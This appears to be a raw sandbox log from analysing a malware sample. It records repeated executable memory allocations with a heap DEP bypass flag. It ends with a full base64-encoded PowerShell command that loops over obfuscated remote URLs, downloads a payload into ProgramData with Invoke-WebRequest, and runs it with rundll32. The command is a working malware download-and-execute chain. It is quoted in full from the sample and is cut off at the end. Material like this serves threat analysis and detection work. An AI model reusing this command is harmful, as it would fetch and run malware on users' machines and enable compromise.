allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02753000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02754000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027cb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0274b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02755000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027bc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02756000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027b3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027b4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027b6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027b7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027b8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027b9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05100000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05101000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05102000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05103000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05104000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05105000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05106000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05107000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05108000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05109000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0510a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0510b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0510c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0510d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0510e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0510f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05110000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05111000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05112000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05113000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05114000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -encodedcommand "JABNAGUAdABlAHAAaQBtAGUAcgBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBOAEEAQQB1AEEARABFAEEATwBRAEEANQBBAEMANABBAE0AUQBBADQAQQBEAGsAQQBMAGcAQQA0AEEARABNAEEAbgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAFEAQQBhAFEAQgB6AEEASABRAEEAWgBRAEIAdQBBAEgATQBBAGEAUQBCAHYAQQBHADQAQQBjAHcAQQB1AEEASABjAEEAYQBRAEIAcgBBAEcAawBBAG4AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBRAEEAYgB3AEIAMwBBAEcANABBAGEAUQBCAHMAQQBIAGsAQQBTAEEAQgBsAEEARwBNAEEAYQBBAEIAMABBAEcAawBBAFkAUQBBAHUAQQBHAGcAQQBiAHcAQgBzAEEARwBRAEEAYQBRAEIAdQBBAEcAYwBBAGMAdwBBAD0AIgA7ACQATwB2AGUAcgBiAGEAawBlAGQAQQBsAGMAdQBtAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBkAEEAQgB5AEEARwA4AEEAYgBnAEIAMABBAEcAawBBAFkAUQBBAHUAQQBHAEkAQQBaAFEAQgB5AEEARwB3AEEAYQBRAEIAdQBBAEMAOABBAFMAQQBCAHkAQQBDADgAQQBkAGcAQQA1AEEARgBBAEEAYgBRAEEAeABBAEEAPQA9AD0AawB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVABBAEgAVQBBAFkAZwBCAGsAQQBHAFUAQQBZAFEAQgB1AEEARwBVAEEAYwBnAEIANQBBAEMANABBAGMAdwBCADEAQQBIAEkAQQBaAGcAQQB2AEEARQAwAEEAWQBRAEEAdgBBAEYAWQBBAGQAZwBCAEcAQQBEAE0AQQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAGsAQQBMAGcAQQB5AEEARABRAEEATwBRAEEAdQBBAEQARQBBAE0AUQBBAHoAQQBDADQAQQBNAFEAQQB5AEEARABRAEEATAB3AEIAVwBBAEMAOABBAE4AUQBBADAAQQBBAD0APQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBhAEEAQgB2AEEASABRAEEAYgB3AEIAdwBBAEcAZwBBAGIAdwBCAHUAQQBHAGsAQQBZAHcAQgBCAEEARwB3AEEAWQB3AEIAMQBBAEcAMABBAGUAUQBBAHUAQQBHAEkAQQBkAFEAQgA2AEEASABvAEEATAB3AEIAWQBBAEcAWQBBAE0AUQBCAHQAQQBDADgAQQBNAHcAQgB1AEEARgBnAEEAYwBnAEEAPQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAE0AQQBiAEEAQgAxAEEASABRAEEAZABBAEIAcABBAEcAcwBBAGEAUQBCAHUAQQBFADgAQQBkAGcAQgBsAEEASABJAEEAYQBBAEIAbABBAEcAawBBAFoAdwBCAG8AQQBIAFEAQQBMAGcAQgB0AEEARwA4AEEAWQBnAEIAcABBAEMAOABBAE8AUQBCAHcAQQBEAEkAQQBXAEEAQgBDAEEAQwA4AEEAYgBBAEIAVwBBAEQAVQBBAGIAZwBBAD0APQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEASABNAEEAZQBRAEIAagBBAEcAZwBBAGIAdwBCAHMAQQBHADgAQQBaAHcAQgBwAEEASABNAEEAYQBRAEIAdQBBAEcAYwBBAEwAZwBCADMAQQBHAGsAQQBhAHcAQgBwAEEAQwA4AEEAWgB3AEEAMQBBAEYATQBBAFkAdwBCAE4AQQBDADgAQQBOAHcAQQAwAEEARQBrAEEAVQB3AEEAPQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAHcAQQB3AEEAQwA4AEEAWQB3AEIARQBBAEYATQBBAGQAUQBCAEgAQQBHAEkAQQBMAHcAQQB6AEEARQBNAEEAUwB3AEIAMgBBAEQATQBBAGEAZwBCAFcAQQBGAFkAQQBZAFEAQgB5AEEASABnAEEAPQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATQBRAEEAMABBAEMAOABBAE8AQQBCAEMAQQBIAG8AQQBMAHcAQgBqAEEARQBnAEEAUQB3AEIATwBBAEUAcwBBAGIAdwBCAHcAQQBHADAAQQBZAHcAQQA1AEEAQQA9AD0APQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgBnAEEANQBBAEMAOABBAE4AdwBCADQAQQBIAFkAQQBiAGcAQgBvAEEARABFAEEAVwBRAEEAdgBBAEUARQBBAE0AQQBCAFUAQQBHAFEAQQBXAGcAQgB2AEEAQQA9AD0AIgA7ACQAbgBvAG4AdAByAG8AcABpAGMAYQBsAGwAeQBDAG8AbQBtAHUAdABhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBhAFEAQgB6AEEASABRAEEAYgB3AEIAcwBBAEcAOABBAFoAdwBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARwB3AEEAZQBRAEIAQgBBAEcAdwBBAGQAZwBCAGwAQQBHADgAQQBiAEEAQgBwAEEASABRAEEAWgBRAEEAdQBBAEcARQBBAGIAQQBBAD0AUABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBaAFEAQgBqAEEARwBnAEEAWgBRAEIAawBBAEMANABBAFkAdwBCAHYAQQBHADAAQQAiADsAJABIAGUAeABhAGgAZQBtAGUAcgBvAG4AUAByAG8AcwBjAHkAbgBlAG0AYQB0AGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAEUAQQBaAEEAQgB2AEEASABBAEEAWgBRAEIAeQBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgBCAEEARwBJAEEAYgB3AEIAagBBAEcAOABBAFkAdwBCAHIAQQBHAFUAQQBkAEEAQQB1AEEARwBjAEEAYwBnAEIAcABBAEgAQQBBAFoAUQBBAD0AaAA9AEUAQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBiAHcAQgB5AEEARwBVAEEAZABBAEIAdgBBAEcAMABBAGUAUQBBAHUAQQBHADQAQQBaAHcAQgB2AEEAQQA9AD0AIgA7ACQASAB5AHAAZQByAGEAbABnAGUAdABpAGMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAEkAQQBMAGcAQQB4AEEARABJAEEATwBBAEEAdQBBAEQAUQBBAE4AQQBBAHUAQQBEAEkAQQBNAFEAQQA1AEEAQQA9AD0AYgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEUAQQBIAFUAQQBhAHcAQgBsAEEARwB3AEEAYQBRAEIAdQBBAEcAYwBBAFUAdwBCADEAQQBHAEkAQQBjAHcAQgAwAEEARwA4AEEAYwBnAEIANQBBAEMANABBAGQAdwBCAGwAQQBHAEkAQQBjAHcAQgBwAEEASABRAEEAWgBRAEEAPQBiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAawBBAE0AZwBBAHUAQQBEAFkAQQBNAFEAQQB1AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE0AQQBBADIAQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABPAG8AbQBpAGEAYwBrAEMAbwBjAGsAYQB3AGUAZQAgAGkAbgAgACQATwB2AGUAcgBiAGEAawBlAGQAQQBsAGMAdQBtAHkAIAAtAHMAcABsAGkAdAAgACIAPQBrAHgAIgApACAAewB0AHIAeQAgAHsAJABEAGUAbgBvAHQAaQBuAGcASABlAGEAZABzAGgAZQBlAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAHcAQQB1AEEARABjAEEATgBRAEEAdQBBAEQAZwBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAxAEEAQQA9AD0AIgA7ACQAUABvAHMAaABsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQB3AEEAQwA0AEEATQBnAEEAeQBBAEQAYwBBAEwAZwBBAHkAQQBEAEEAQQBNAGcAQQB1AEEARABVAEEATgBnAEEAPQA9AFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwBFAEEAWQBnAEIAdgBBAEcAOABBAGEAUQBCAHoAQQBHADAAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAPQA9AFoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBNAEEAWQB3AEIAaABBAEgAQQBBAGEAQQBCAHYAQQBHAGsAQQBaAEEAQQB1AEEASABRAEEAYgB3AEIANQBBAEgATQBBACIAOwAkAE0AaQBsAGwAZQBmAGwAZQB1AHIAcwBEAHIAYQBpAG4AYQBnAGUAdwBhAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATwBvAG0AaQBhAGMAawBDAG8AYwBrAGEAdwBlAGUAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABNAGkAbABsAGUAZgBsAGUAdQByAHMARAByAGEAaQBuAGEAZwBlAHcAYQB5ACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGEAbgB0AGkAZQBuAHYAaQByAG8AbgBtAGUAbgB0AGEAbABpAHMAbQAuAGQAaQBzAGwAbwBkAGcAaQBuAGcARABlAHAAbwBzAGkAdABpAG8AbgBhAGwAOwAkAE8AcgBkAHUAcgBvAHUAcwBuAGUAcwBzAEYAcgBpAHYAbwBsAGwAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABnAEEATgBRAEEAdQBBAEQAZwBBAE0AUQBBAHUAQQBEAEUAQQBNAGcAQQAzAEEAQQA9AD0AWQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBOAGcAQQB1AEEARABFAEEATwBRAEEAeABBAEMANABBAE0AZwBBAHcAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATgBBAEEAPQBZAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE4AdwBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAeQBBAEQATQBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQA9ACIAOwAkAEgAaQBzAHQAbwByAGkAYwBhAGwAbAB5AE8AdQB0AGIAdQBpAGwAZABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEgAVQBBAFkAZwBCAGoAQQBHAHcAQQBZAFEAQgAxAEEASABNAEEAWgBRAEEAdQBBAEcANABBAFoAUQBCADMAQQBIAE0AQQBhAFoAagBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEkAQQBZAFEAQgAwAEEARwBnAEEAZQBRAEIAegBBAEcAMABBAFkAUQBCAHMAQQBGAFUAQQBiAGcAQgBqAEEARwA4AEEAYgBnAEIAMABBAEgASQBBAGIAdwBCADIAQQBHAFUAQQBjAGcAQgAwAEEARwBFAEEAWQBnAEIAcwBBAEcAVQBBAEwAZwBCAHYAQQBHADQAQQBaAFEAQQA9ACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGEAbgB0AGkAZQBuAHYAaQByAG8AbgBtAGUAbgB0AGEAbABpAHMAbQAuAGQAaQBzAGwAbwBkAGcAaQBuAGcARABlAHAAbwBzAGkAdABpAG8AbgBhAGwAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADkAOQAxADQAOQApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAWQBRAEIAdQBBAEgAUQBBAGEAUQBCAGwAQQBHADQAQQBkAGcAQgBwAEEASABJAEEAYgB3AEIAdQBBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBZAFEAQgBzAEEARwBrAEEAYwB3AEIAdABBAEMANABBAFoAQQBCAHAAQQBIAE0AQQBiAEEAQgB2AEEARwBRAEEAWgB3AEIAcABBAEcANABBAFoAdwBCAEUAQQBHAFUAQQBjAEEAQgB2AEEASABNAEEAYQBRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBHAEUAQQBiAEEAQQBzAEEARwAwAEEAZABRAEIAegBBAEgAUQBBAE8AdwBBAD0AIgA7ACQAdQBuAGEAdQB0AGgAZQBuAHQAaQBjAGkAdAB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwBnAEEAWgBRAEIAeQBBAEcAVQBBAGIAdwBCAG0AQQBFADAAQQBaAFEAQgB6AEEARwBnAEEAYQBRAEIAbABBAEgASQBBAEwAZwBCAHoAQQBHADgAQQBiAEEAQgBoAEEASABJAEEASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAEEAQQBkAFEAQgB5AEEASABBAEEAYgB3AEIAeQBBAEgAUQBBAFoAUQBCAGsAQQBGAGMAQQBiAHcAQgB1AEEARwBRAEEAWgBRAEIAeQBBAEcAVQBBAGMAZwBCAHoAQQBDADQAQQBZAHcAQgBoAEEASABJAEEAWgBRAEIAbABBAEgASQBBAGMAdwBBAD0ASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBNAFEAQQB1AEEARABFAEEATQBBAEEANABBAEMANABBAE4AdwBBADEAQQBDADQAQQBPAEEAQQA1AEEAQQA9AD0ASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATQBBAEEANQBBAEMANABBAE0AUQBBADAAQQBEAGMAQQBMAGcAQQB4AEEARABFAEEATgB3AEEAPQAiADsAJABOAGUAcABoAHIAbwBsAHkAdABpAGMAUgBvAGcAdQBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQAzAEEAQwA0AEEATQBnAEEAeQBBAEQAUQBBAEwAZwBBAHgAQQBEAGsAQQBNAFEAQQB1AEEARABFAEEATQB3AEEAegBBAEEAPQA9AHgAegBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBhAFEAQgB3AEEASABBAEEAYQBRAEIAaABBAEgAUQBBAGMAZwBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARgBNAEEAWQBRAEIAdQBBAEcAYwBBAGQAUQBCAHAAQQBHADQAQQBaAFEAQgB2AEEARwBJAEEAYQBRAEIAcwBBAEcAawBBAGIAdwBCADEAQQBIAE0AQQBMAGcAQgB6AEEARwBVAEEAeAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgATQBBAFkAdwBCAGgAQQBIAEkA